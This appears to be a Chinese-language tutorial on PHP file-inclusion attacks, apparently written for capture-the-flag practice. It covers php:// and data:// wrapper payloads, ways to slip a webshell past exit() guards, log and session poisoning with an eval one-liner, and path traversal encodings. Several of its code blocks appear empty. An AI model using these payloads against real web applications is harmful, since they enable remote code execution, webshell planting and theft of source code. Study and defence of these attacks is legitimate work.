文件包含漏洞
PHP文件包含漏洞
php文件包含函数
1  | include() # 如果出错的话,只会提出警告,会继续执行后续语句  | 
示例代码
1  | 
  | 
LFI本地文件包含
RFI远程文件包含
相较于LFI本地文件包含漏洞其被包含的文件源不从磁盘上获取
php.ini中需要配置
1  | allow_url_fopen = On  | 
allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off
PHP伪协议
php:// 协议
php://input 用于执行php代码
allow_url_include = Onallow_url_fopen = ON/OFF
1  | 
  | 

php://filter 用于读写源码
allow_url_include = On/OFFallow_url_fopen = ON/OFF
1  | ?file=php://filter/convert.base64-encode/resource=flag.php  | 
解码
1  | >>> import base64  | 
写文件file_put_contents
1  | file_put_contents(urldecode($file),"<?php exit();".$content);  | 
$content在开头增加了exit过程,导致即使我们成功写入一句话,也执行不了(这个过程在实战中十分常见,通常出现在缓存、配置文件等等地方,不允许用户直接访问的文件,都会被加上if(!defined(xxx))exit;之类的限制)
rot13偏移写入(PHP不开启short_open_tag短标签)
1  | php://filter/write=string.rot13/resource=rot.php  | 

urldecode()文件名编码两次

访问写入的文件

base64写入文件
1  | file_put_contents(urldecode($file), "<?php die();?>".$content);  | 

base64在解码的时候是将4个字节转化为3个字节,
phpdie6个字符我们就要添加2个字符让前面的可以进行编码

以下两种情况详见file_put_content和死亡·杂糅代码之缘
1  | file_put_contents($content,"<?php exit();".$content);  | 
其他编码
1  | 
  | 
1  | payload:file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php  | 
data:// 数据流封装器
协议格式:
data://:资源类型;编码,内容
当allow_url_include 打开的时候,任意文件包含就会成为任意命令执行
allow_url_fopen :onallow_url_include:on
php 版本大于等于 php5.2
1  | 
  | 
利用方式:
1  | http://127.0.0.1/sec/test.php?a=data://text/plain,<?php system("ipconfig") ?>  | 
data://中//可省略
phar://
php版本大于等于php5.3.0
文件phpinfo.txt,打包成zip压缩包test.zip
1  | # 绝对路径  | 
zip://
php 版本大于等于 php5.3.0+绝对路径
文件zipd.txt,打包成zip压缩包test.zip
1  | http://127.0.0.1/wahaha.php?a=zip://C:\Users\DropAnn\Desktop\test.zip%23zipd.txt  | 

包含日志文件
先插入(请求)后包含

<?=eval($_POST[6]);?>同理,注意UA中不解码

日志和配置文件默认存放路径
| 文件 | 路径 | 
|---|---|
| apache+Linux日志默认路径 | /etc/httpd/logs/access_log或/var/log/httpd/access_log | 
| apache+win2003日志默认路径 | D:\xampp\apache\logs\access.log以及D:\xampp\apache\logs\error.log | 
| IIS6.0+win2003默认日志文件 | C:\WINDOWS\system32\Logfiles | 
| IIS7.0+win2003 默认日志文件 | %SystemDrive%\inetpub\logs\LogFiles | 
| nginx 日志文件 | 用户安装目录logs目录下(/usr/local/nginx/logs)/var/log/nginx/access.log | 
| apache+linux 默认配置文件 | /etc/httpd/conf/httpd.conf或index.php?page=/etc/init.d/httpd | 
| IIS6.0+win2003 配置文件 | C:/Windows/system32/inetsrv/metabase.xml | 
| IIS7.0+WIN 配置文件 | C:\Windows\System32\inetsrv\config\applicationHost.config | 
session包含
session存储过程

添加后会在默认目录下生成临时文件
/tmp/sess_aaa
session常见存储路径
/var/lib/php/sess_PHPSESSID/var/lib/php/sess_PHPSESSID/tmp/sess_PHPSESSID/tmp/sessions/sess_PHPSESSID
利用条件
知道session存储位置
代码中存在session_start()或者session.auto_start=On或session.auto_start = 1PHP在接收请求的时候会自动初始化Session,默认情况下,这个选项都是关闭的。
拥有读写session文件的权限
PHP_SESSION_UPLOAD_PRGRESS竞争条件
在php5.4后php.ini中添加
1  | 1. session.upload_progress.enabled = on  | 
enabled=on表示php将会把文件上传的详细信息(如上传时间、上传进度等)存储在session当中 ;默认配置
session.upload_progress.cleanup = on导致文件上传后,session文件内容立即清空,利用竞争条件,在session文件内容清空前进行包含利用。
测试环境为:php5.5.9
测试代码如下:
1  | 
  | 
测试的时候用了phpstudy,其他情况参考session常见存储路径

payload
1  | import requests as re  | 
测试结果

利用session.upload_progress进行文件包含和反序列化渗透
绕过方式
指定前缀
1  | 
  | 
目录遍历
同目录包含 file=.htaccess
目录遍历 ?file=../../../../../../../../../var/lib/locate.db
多次编码
利用url编码
../
- %2e%2e%2f
 - ..%2f
 - %2e%2e/
 
..\
- %2e%2e%5c
 - ..%5c
 - %2e%2e\
 
二次编码 %25对应的是%,%2e对应的是.,所以 .%252e/ 对应的是 ../
../
- %252e%252e%252f
 
..\
- %252e%252e%255c
 
容器/服务器的编码方式
../
..%c0%af
%c0%ae%c0%ae/
注:java中会把”%c0%ae”解析为”\uC0AE”,最后转义为ASCCII字符的”.”(点)
Apache Tomcat Directory Traversal
..\
- ..%c1%9c
 
指定后缀
%00截断
magic_quotes_gpc=Off,而且php版本<5.3.4
1  | 
  | 

长度截断
php版本 < php 5.2.8
目录字符串,在linux下4096字节时会达到最大值,在window下是256字节。只要不断的重复./达到最大值后缀就会直接被抛弃
url格式
使用远程文件包含注意下面两个配置
1  | allow_url_fopen = On  | 
query(?)
1  | http://127.0.0.1/test/1.php?a=http://192.168.1.105/phpinfo.php?  | 

fragment(#)






